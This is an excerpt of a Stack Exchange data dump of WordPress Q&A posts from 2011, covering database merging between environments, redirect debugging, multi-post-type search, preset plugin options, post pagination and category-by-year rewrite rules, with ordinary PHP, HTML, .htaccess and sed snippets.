  <row Id="12719" PostTypeId="1" CreationDate="2011-03-22T15:01:21.503" Score="4" ViewCount="241" Body="&lt;p&gt;&lt;strong&gt;Background&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm nearing the final stages of constructing my first fairly large WordPress site, and I'm now encountering some friction. For the most part, the site was developed on my local machine and I would push changes up to a staging server for review (&lt;a href=&quot;http://wordpress.stackexchange.com/questions/12239/migrating-data-between-local-and-development-server&quot;&gt;see this question for more background&lt;/a&gt;). The solution I ended up with worked quite well when it was just me editing content, but now some other people are editing the content while I still have features to add. The idea was: we could get things done more quickly if the features and the content came together in concert... but now I'm not so sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently there is different content in the database on the staging server than on my local machine. That's fine by itself, as I don't need the final body copy on my local machine, but I need to do more development which will affect the database (install/write a couple more plugins which need their own tables). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My question is:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an easy way to automate the merging of databases so that multiple people can work on a WordPress install? I could, of course, just export the tables which I &lt;em&gt;know&lt;/em&gt; have changed on my local machine and push them to the staging server, but it's possible that there are also things on the staging server I would like to bring down. I could grab the SQL output of both DBs and diff them... but that seems tedious and hackish. I'm wondering if this is a problem others have solved; if there's a community-accepted way to handle this sort of thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2984" LastActivityDate="2011-04-21T17:41:10.097" Title="Multiple developers / editors working on a site in progress" Tags="&lt;database&gt;&lt;users&gt;&lt;server&gt;&lt;migration&gt;&lt;automate&gt;" AnswerCount="1" CommentCount="7" FavoriteCount="2" />
  <row Id="12720" PostTypeId="2" ParentId="12702" CreationDate="2011-03-22T15:14:00.287" Score="1" ViewCount="" Body="&lt;p&gt;Try GD Star Rating - I'm pretty sure it stores vote times and so can be used to do this - you'll probably need to extract the ordering yourself though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.gdstarrating.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.gdstarrating.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-03-22T15:14:00.287" />
  <row Id="12721" PostTypeId="1" AcceptedAnswerId="12724" CreationDate="2011-03-22T15:25:32.210" Score="0" ViewCount="77" Body="&lt;p&gt;Would somebody mind postulating and possible reasons why their is an automated redirect on my homepage that adds /admin to the URL. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please visit www.divethegap.com/update. You will see that it instantly redirects to /admin and does not load the page. There is a folder called admin that is not accessible to a user, but their is no redirect to it anywhere on the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is going on. I have removed all recent function additions in the theme and unistalled plugins. There are several include-template-paths that I use but I don't use any redirects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What has caused this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Marvellous&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HT ACCESS //&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# BEGIN WordPress&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /update/&#xA;RewriteRule ^index\.php$ - [L]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule . /update/index.php [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;# END WordPress&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2957" LastEditorUserId="2957" LastEditorDisplayName="" LastEditDate="2011-03-22T15:35:43.507" LastActivityDate="2011-03-22T17:17:30.693" Title="Random and Erroneous Wordpress Redirect" Tags="&lt;redirect&gt;&lt;homepage&gt;" AnswerCount="3" CommentCount="7" />
  <row Id="12722" PostTypeId="2" ParentId="12721" CreationDate="2011-03-22T15:37:59.443" Score="2" ViewCount="" Body="&lt;p&gt;If the redirect comes from WordPress code, you can find out who is calling &lt;code&gt;wp_redirect()&lt;/code&gt; by hooking into it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'wp_redirect', 'wpse12721_wp_redirect' );&#xA;function wpse12721_wp_redirect( $location )&#xA;{&#xA;    // Get a backtrace of who called us&#xA;    debug_print_backtrace();&#xA;    // Cancel the redirect&#xA;    return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-03-22T15:37:59.443" />
  <row Id="12723" PostTypeId="1" AcceptedAnswerId="12728" CreationDate="2011-03-22T16:26:30.053" Score="0" ViewCount="163" Body="&lt;p&gt;I'm using &lt;a href=&quot;http://wordpress.stackexchange.com/users/2487/bainternet&quot;&gt;bainternet's&lt;/a&gt; method for &lt;a href=&quot;http://wordpress.stackexchange.com/questions/10424/create-multiple-search-functions-for-posts-custom-post-types-and-everything?tab=oldest#tab-top&quot;&gt;searching custom post_types&lt;/a&gt; and it works great. However, I've recently been requested to return more than one &quot;specific&quot; post type and perhaps individual pages for a support section on our site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought adding additional hidden fields would do it, but that didn't work. And I have no clue how this will work with pages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated!&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;In the template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;http://apollo.website.net/&quot; id=&quot;searchform&quot; method=&quot;get&quot; role=&quot;search&quot;&amp;gt;&#xA;    &amp;lt;div&amp;gt;&amp;lt;label for=&quot;s&quot; class=&quot;screen-reader-text&quot;&amp;gt;Search for:&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; id=&quot;s&quot; name=&quot;s&quot; value=&quot;&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; value=&quot;Search&quot; id=&quot;searchsubmit&quot;&amp;gt;&#xA;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;post_type&quot; value=&quot;software&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Custom Search Queries */&#xA;function SearchFilter($query) {&#xA;$post_type = $_GET['post_type'];&#xA;if (!$post_type) {&#xA;    $post_type = 'any';&#xA;}&#xA;if ($query-&amp;gt;is_search) {&#xA;    $query-&amp;gt;set('post_type', $post_type);&#xA;};&#xA;return $query;&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3296" LastActivityDate="2011-03-22T17:30:10.210" Title="Searching multiple custom post types and pages" Tags="&lt;custom-post-types&gt;&lt;template&gt;&lt;search&gt;&lt;pages&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="12724" PostTypeId="2" ParentId="12721" CreationDate="2011-03-22T16:34:50.183" Score="0" ViewCount="" Body="&lt;p&gt;By a process of elimination we have determined that the error was caused by the plugin REDIRECTION. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This plugin has now been removed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I must point out that it was never used and certainly never set up to carry out that action. I can only imagine that somehow the creation of themed files must have had similar names to the plugins files. After checking the plugin file names that is also not the case. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This remains a mystery. It was only through trial and error that we determined that it was this plugin causing the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone has any theories I would like to hear them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Case closed&lt;/p&gt;&#xA;" OwnerUserId="2957" LastActivityDate="2011-03-22T16:34:50.183" />
  <row Id="12726" PostTypeId="1" AcceptedAnswerId="13506" CreationDate="2011-03-22T16:52:31.800" Score="0" ViewCount="212" Body="&lt;p&gt;I feel like I've been banging my head against the keyboard for a week with this problem. I'm trying to change my current query on my home page to show only posts that are set as &lt;strong&gt;standard&lt;/strong&gt; posts using the new post format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked everywhere for answers (including &lt;a href=&quot;http://wordpress.stackexchange.com/questions/11764/display-query-post-formats/12718&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;http://wordpress.stackexchange.com/questions/10855/how-do-i-query-by-post-format-in-wordpress-3-1&quot;&gt;here&lt;/a&gt;) and tried everything I've found, but I can't get it to work within the framework of my current query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My query is provided below. Any help is greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php     &#xA;query_posts( array( 'post__not_in' =&amp;gt; $ids, 'showposts' =&amp;gt; 10, 'cat' =&amp;gt; '-4' ) ); ?&amp;gt;&#xA;&amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;&#xA;-LOOP STUFF-&#xA;  &amp;lt;?php the_excerpt(); ?&amp;gt;&amp;lt;BR&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE - March 30:&lt;/strong&gt; Since I posted this I found out how to properly query for, we'll say, image posts using this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php &#xA;$args = array(&#xA;  'post__not_in' =&amp;gt; $ids, &#xA;  'showposts' =&amp;gt; 10, &#xA;  'cat' =&amp;gt; '-4,-1866,-27',&#xA;  'tax_query' =&amp;gt; array(&#xA;    array(&#xA;      'taxonomy' =&amp;gt; 'post_format',&#xA;      'field' =&amp;gt; 'slug',&#xA;      'terms' =&amp;gt; 'post-format-image'&#xA;    )&#xA;  )&#xA;);        &#xA;    query_posts( $args ); ?&amp;gt;&#xA;&amp;lt;!-- Look Stuff --&amp;gt;&#xA;    &amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I still need to figure out how to do the opposite and only pull &lt;strong&gt;standard&lt;/strong&gt; posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Second Update - March 30:&lt;/strong&gt; I found the answer after some more hunting. Apparently the only way to pull the standard posts is to add:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;'operator' =&gt; 'NOT IN',&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it looks for posts that aren't in the image post format. Or I have to add an array of terms to the terms line so it won't return any of those formats. Odd, but it works.&lt;/p&gt;&#xA;" OwnerUserId="4132" LastEditorUserId="4132" LastEditorDisplayName="" LastEditDate="2011-03-30T17:02:45.410" LastActivityDate="2011-05-27T07:42:54.827" Title="Help altering a query to exclude all but standard post format" Tags="&lt;query-posts&gt;&lt;post-formats&gt;" AnswerCount="1" CommentCount="6" FavoriteCount="2" />
  <row Id="12727" PostTypeId="1" CreationDate="2011-03-22T16:54:16.057" Score="1" ViewCount="195" Body="&lt;p&gt;I'm looking to display all the posts of a certain type in a page of posts. I'm using the wordpress plugin more types (&lt;a href=&quot;http://wordpress.org/extend/plugins/more-types/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/more-types/&lt;/a&gt;) to create a custom type called pre-enjoyed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like all the posts in pre-enjoyed to be displayed when on the pre-enjoyed page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've never worked with custom types before and I'm not sure how to do this.&lt;/p&gt;&#xA;" OwnerUserId="4135" LastEditorUserId="373" LastEditorDisplayName="" LastEditDate="2011-05-22T06:20:21.380" LastActivityDate="2011-05-22T06:20:21.380" Title="more types plugin - display all post of post type on page" Tags="&lt;plugins&gt;&lt;custom-post-types&gt;" AnswerCount="1" />
  <row Id="12728" PostTypeId="2" ParentId="12723" CreationDate="2011-03-22T17:05:38.847" Score="2" ViewCount="" Body="&lt;p&gt;change &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;post_type&quot; value=&quot;software&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;post_type[]&quot; value=&quot;software&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;post_type[]&quot; value=&quot;books&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i have to run but this should work , just add as many hidden fields as you need for each post type&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-22T17:05:38.847" CommentCount="3" />
  <row Id="12729" PostTypeId="1" AcceptedAnswerId="12741" CreationDate="2011-03-22T17:06:20.630" Score="0" ViewCount="170" Body="&lt;p&gt;I have a few plugins that I always set the configuration for exactly the same way. Every time I create a new site, the same plugins go in, and the same amount of time is needed to set them up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would it be possible to create a config file that overrides whatever wp_options are set per plugin?&lt;/p&gt;&#xA;" OwnerUserId="10" LastActivityDate="2011-03-31T09:20:54.353" Title="Default plugin config to override wp_options?" Tags="&lt;plugins&gt;&lt;configuration&gt;&lt;wp-options&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="1" />
  <row Id="12730" PostTypeId="2" ParentId="12729" CreationDate="2011-03-22T17:11:56.860" Score="0" ViewCount="" Body="&lt;p&gt;Not sure if something like that is possible but a workaround would be to use a dummy database of default WP install configured with all those plugins. Now whenever you need to setup another site, put in this database and edit the home url and site url.&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-03-22T17:11:56.860" />
  <row Id="12731" PostTypeId="1" AcceptedAnswerId="12768" CreationDate="2011-03-22T17:13:15.097" Score="1" ViewCount="178" Body="&lt;p&gt;is it possible to hide the string: &quot;Comments are disabled&quot; from everywhere?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mean also from posts list, and post page :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sorry, the theme is Journal Cruch by Site5.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I resolved using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (comments_open())&#xA;    comments_popup_link();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where the comments are displayed, but I don't like too much this solution :)&lt;/p&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditorDisplayName="" LastEditDate="2011-03-22T18:20:27.277" LastActivityDate="2011-04-06T04:45:19.287" Title="How to hide &quot;Comments are disabled&quot;" Tags="&lt;comments&gt;" AnswerCount="3" CommentCount="2" />
  <row Id="12732" PostTypeId="1" AcceptedAnswerId="12738" CreationDate="2011-03-22T17:15:11.820" Score="0" ViewCount="73" Body="&lt;p&gt;I just think about that... maybe it exist...you will tell me... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wordpressis a beautifull software, and the thing i like the most, is the instant install of the theme and plugin...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So i though, why not have a onefile.html upload, and install wordpress ITSELF utomaticly fron the svn instead of having to upload a whole buch of file that take a looong time, and sometime failed...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe that file, will just select the language and the name of the folder...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or maybe, it exist ?... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that the database must be done before... i do it, it's just the folder with 1000 files that weight 10 mg that bug me... autoinstall as plugin !&lt;/p&gt;&#xA;" OwnerUserId="3969" LastEditorUserId="3969" LastEditorDisplayName="" LastEditDate="2011-03-22T17:26:13.370" LastActivityDate="2011-03-22T20:23:56.170" Title="Instant install of wordpress" Tags="&lt;3.0&gt;&lt;ftp&gt;&lt;install&gt;" AnswerCount="2" />
  <row Id="12733" PostTypeId="2" ParentId="12719" CreationDate="2011-03-22T17:16:43.253" Score="1" ViewCount="" Body="&lt;p&gt;I work on such an install and have &lt;a href=&quot;http://wordpress.stackexchange.com/questions/12239/migrating-data-between-local-and-development-server/12255#12255&quot;&gt;answered questions like this before&lt;/a&gt;. Below is my preferred setup for this kind of work. Because you want to merge databases instead of replacing an existing database I would add to these a caution not to use the &lt;a href=&quot;http://dev.mysql.com/doc/refman/5.1/en/mysqldump.html&quot; rel=&quot;nofollow&quot;&gt;--add-drop-table&lt;/a&gt; flag when doing the MySQL dump.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Step 1. Mysqldump your development database&lt;/li&gt;&#xA;&lt;li&gt;Step 2. Replace all instances of development.domain.com to production.domain.com^^&lt;/li&gt;&#xA;&lt;li&gt;Step 3. Login to MySQL, run a SOURCE command to import data e.g. &lt;code&gt;source /path/to/file&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;^^ How to replace all instances of old domain with new: (1) Copy the script below. (2) &lt;code&gt;chmod +x&lt;/code&gt; it. (3) Run it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usage: &lt;code&gt;./script.sh development-dump.sql &amp;gt; production-dump.sql&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/bin/sed -f&#xA;s/'\([^\\']*\)development.domain.com\([^\\']*\)'/'\1production.domain.com\2'/g&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1860" LastActivityDate="2011-03-22T17:16:43.253" CommentCount="2" />
  <row Id="12734" PostTypeId="2" ParentId="12721" CreationDate="2011-03-22T17:17:30.693" Score="1" ViewCount="" Body="&lt;p&gt;Just some days ago I've written a blog post that shows an easy way &lt;a href=&quot;http://hakre.wordpress.com/2011/03/20/how-to-debug-redirect-problems-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;How to Debug Redirect Problems in WordPress&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Install the &lt;a href=&quot;http://wordpress.org/extend/plugins/better-http-redirects/&quot; rel=&quot;nofollow&quot;&gt;Better HTTP Redirects (Wordpress Plugin)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Enable WP_DEBUG = TRUE&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You will then get information of the redirect URL, automatic redirects are disabled and you find a backtrace to see what caused the redirect (file + line).&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-03-22T17:17:30.693" />
  <row Id="12735" PostTypeId="1" CreationDate="2011-03-22T16:42:20.597" Score="1" ViewCount="169" Body="&lt;p&gt;Suppose I write a long article and display products in one post but it is too long so I want to cut it and continue the next page in the same post? Can I do that in wordpress? I want to display many products so I want to build pages with in a post. One post but there is a navigation numbers like 1 2 3 -- like 3 page in one Post?  How do I do that?&lt;/p&gt;&#xA;" LastActivityDate="2011-03-22T17:18:32.067" Title="How to make multiple page out of one post" Tags="&lt;pagination&gt;&lt;content&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="12736" PostTypeId="2" ParentId="12735" CreationDate="2011-03-22T16:56:43.313" Score="5" ViewCount="" Body="&lt;p&gt;You can use the WordPress&quot;nextpage&quot; tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!--nextpage--&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You just drop this into the HTML of your WordPress page wherever you want to break it up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think your theme must support this tag in order to handle the pagination - on my site I have page &quot;previous/next&quot; links hidden, but most themes probably support this out of the box.&lt;/p&gt;&#xA;" LastActivityDate="2011-03-22T16:56:43.313" />
  <row Id="12737" PostTypeId="2" ParentId="12732" CreationDate="2011-03-22T17:18:38.727" Score="2" ViewCount="" Body="&lt;p&gt;You can automagically copy files from SVN, but there are steps that will always require some sort of human interaction, such as the initial database setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, a WordPress install is &lt;a href=&quot;http://www.linode.com/stackscripts/view/?StackScriptID=12&quot; rel=&quot;nofollow&quot;&gt;totally scriptable&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1860" LastActivityDate="2011-03-22T17:18:38.727" CommentCount="1" />
  <row Id="12738" PostTypeId="2" ParentId="12732" CreationDate="2011-03-22T17:23:42.527" Score="1" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Update: You can use WordPress QI - &lt;a href=&quot;http://wpquickinstall.com/download/&quot; rel=&quot;nofollow&quot;&gt;http://wpquickinstall.com/download/&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not all servers can run SVN, and servers which have problem in WP 5minute install, can't be cope up with another solution because there is no solution, sometimes server settings are to blame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, on a server where everything works fine for a regular installation, WordPress install can be automated by how you want it (by uploading a single file and loading that in the browser provided that you provide database connection details to it somehow.&lt;/p&gt;&#xA;" OwnerUserId="1521" LastEditorUserId="1521" LastEditorDisplayName="" LastEditDate="2011-03-22T20:23:56.170" LastActivityDate="2011-03-22T20:23:56.170" CommentCount="7" />
  <row Id="12739" PostTypeId="2" ParentId="12723" CreationDate="2011-03-22T17:30:10.210" Score="0" ViewCount="" Body="&lt;p&gt;You could do it like this to switch between a singular set type and any..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;post_type&quot; value=&quot;software&quot; /&amp;gt;&#xA;&amp;lt;label for=&quot;post_type&quot;&amp;gt;Search all&amp;lt;/label&amp;gt;&#xA;&amp;lt;input type=&quot;checkbox&quot; name=&quot;post_type&quot; value=&quot;any&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unchecked searches your specific type, checked sets the post type to any..&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-03-22T17:30:10.210" CommentCount="1" />
  <row Id="12740" PostTypeId="2" ParentId="12731" CreationDate="2011-03-22T17:36:37.963" Score="1" ViewCount="" Body="&lt;p&gt;Try editing theme files and remove the php comments links, or add CSS to display:none to the comments div in your style sheet. But no one can help specifically unless you post some code.&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-03-22T17:36:37.963" />
  <row Id="12741" PostTypeId="2" ParentId="12729" CreationDate="2011-03-22T17:37:34.693" Score="1" ViewCount="" Body="&lt;p&gt;You could check which options they add (look at the source code) and then simply write a function like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA;Plugin Name:    Mother of all plugins&#xA;Plugin URI:  http://wordpress.org/extend/plugins/&#xA;Description:    Offers the &amp;lt;code&amp;gt;$all_plugin_options;&amp;lt;/code&amp;gt; var to access all predefined plugin options&#xA;Author:      Franz Josef Kaiser&#xA;Author URI:     http://say-hello-code.com&#xA;Version:        0.1&#xA;License:        GPL v2 - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html&#xA;*/&#xA;&#xA;// Template Tag&#xA;function get_all_plugin_options() &#xA;{&#xA;    // First we call the class&#xA;    $class = new MotherOfAllPlugins;&#xA;    $data = $class-&amp;gt;predefined_plugin_options()&#xA;    return $data;&#xA;}&#xA;&#xA;if ( ! class_exists('MotherOfAllPlugins') )&#xA;{&#xA;&#xA;class MotherOfAllPlugins&#xA;{&#xA;    protected $plugin_options;&#xA;&#xA;    public function __construct( $plugin_options )&#xA;    {&#xA;      // defaults&#xA;      $default_options = array(&#xA;         'plugin_a' =&amp;gt; array(&#xA;             'deprecated' =&amp;gt; ''&#xA;            ,'name'       =&amp;gt; 'value'&#xA;            ,'key'        =&amp;gt; 'value'&#xA;          )&#xA;        ,'plugin_b' =&amp;gt; array(&#xA;             'deprecated' =&amp;gt; ''&#xA;            ,'name'       =&amp;gt; 'value'&#xA;            ,'key'        =&amp;gt; 'value'&#xA;          )&#xA;      );&#xA;      // Now overwrite the &#xA;      $this-&amp;gt;plugin_options = array_merge( $default_options, $plugin_options );&#xA;&#xA;      add_action( 'init', 'predefined_plugin_options' );&#xA;    }&#xA;&#xA;    function predefined_plugin_options() &#xA;    {&#xA;&#xA;      // Set the flag if we have already done this&#xA;      // _EDIT #1:_ This sets an option in the wp_options table containing TRUE if your plugin predef options are already present in the DB&#xA;      if ( !get_option( 'predef_plugins_setup' ) === TRUE )&#xA;         add_option( 'predef_plugins_setup', TRUE );&#xA;&#xA;      if ( !get_option( 'predef_plugins_setup' ) === TRUE )&#xA;      {&#xA;         // Add the options for the plugins&#xA;         foreach ( $plugin_options as $plugin =&amp;gt; $options ) &#xA;         {&#xA;            add_option( $plugin, $options, $options['deprecated'], 'yes' );&#xA;         }&#xA;      }&#xA;&#xA;      // _EDIT #2:_ return the initial array for use in a global&#xA;      return $plugin_options&#xA;    }&#xA;&#xA;} // END Class MotherOfAllPlugins&#xA;&#xA;} // endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To get your plugin options inside your theme:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Now we take the return value &amp;amp; add it into global scope for further useage.&#xA;// This way we can access all options easily without a call to the DB.&#xA;// You can now access these values from anywhere in your theme.&#xA;$all_plugin_options = get_all_plugin_options();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Be careful to really add the options exactly the way the plugins does it. Else stuff won't work.&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-03-31T09:20:54.353" LastActivityDate="2011-03-31T09:20:54.353" CommentCount="9" />
  <row Id="12742" PostTypeId="1" CreationDate="2011-03-22T18:05:44.880" Score="2" ViewCount="176" Body="&lt;p&gt;I'm trying to filter posts in a category by the year of the post's date. I also want to do this without being redirected to the year template so my ideal URL would be &lt;a href=&quot;http://example.com/category/reports/2011/&quot; rel=&quot;nofollow&quot;&gt;http://example.com/category/reports/2011/&lt;/a&gt; which would load the template file category.php where I could then use query_posts to include only the posts that were published in 2011 and are in the reports category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my rewrite rule code... &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function filter_category_by_year_rewrite_rules( $wp_rewrite ) {&#xA;    /* Creates rewrite rules for filtering category archives by year (/category/reports/2011/)*/&#xA;    $new_rules = array(&#xA;        &quot;category/(.+?)/(\d\d\d\d)/?$&quot; =&amp;gt; &quot;index.php?category_name=&quot; . $wp_rewrite-&amp;gt;preg_index(1) . &quot;&amp;amp;year=&quot; . $wp_rewrite-&amp;gt;preg_index(2)&#xA;    );&#xA;    $wp_rewrite-&amp;gt;rules = $new_rules + $wp_rewrite-&amp;gt;rules;&#xA;    var_dump($wp_rewrite);&#xA;}&#xA;add_action('generate_rewrite_rules', 'filter_category_by_year_rewrite_rules');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My problem is WordPress automatically redirects &lt;code&gt;index.php?category_name=reports&amp;amp;year=2011&lt;/code&gt; to &lt;code&gt;/category/reports/&lt;/code&gt; with no trace of the year parameter. How can I intercept this redirect? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried hooking in to the &lt;code&gt;template_redirect&lt;/code&gt; action to no avail :(&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function testing_redirect() {&#xA;    global $wp;&#xA;    if($wp-&amp;gt;request['matched_rule'] == 'category/(.+?)/(\d\d\d\d)/?$') {&#xA;        load_template( 'category.php' ); //TEMPLATEPATH .'/category.php';&#xA;    }&#xA;}&#xA;add_action('template_redirect', 'testing_redirect', 1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2744" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2011-03-22T18:11:23.470" LastActivityDate="2011-03-22T19:12:53.213" Title="Preventing index.php?category_name=something from redirecting" Tags="&lt;categories&gt;&lt;url-rewriting&gt;&lt;template&gt;&lt;redirect&gt;&lt;rewrite-rules&gt;" AnswerCount="2" FavoriteCount="1" />
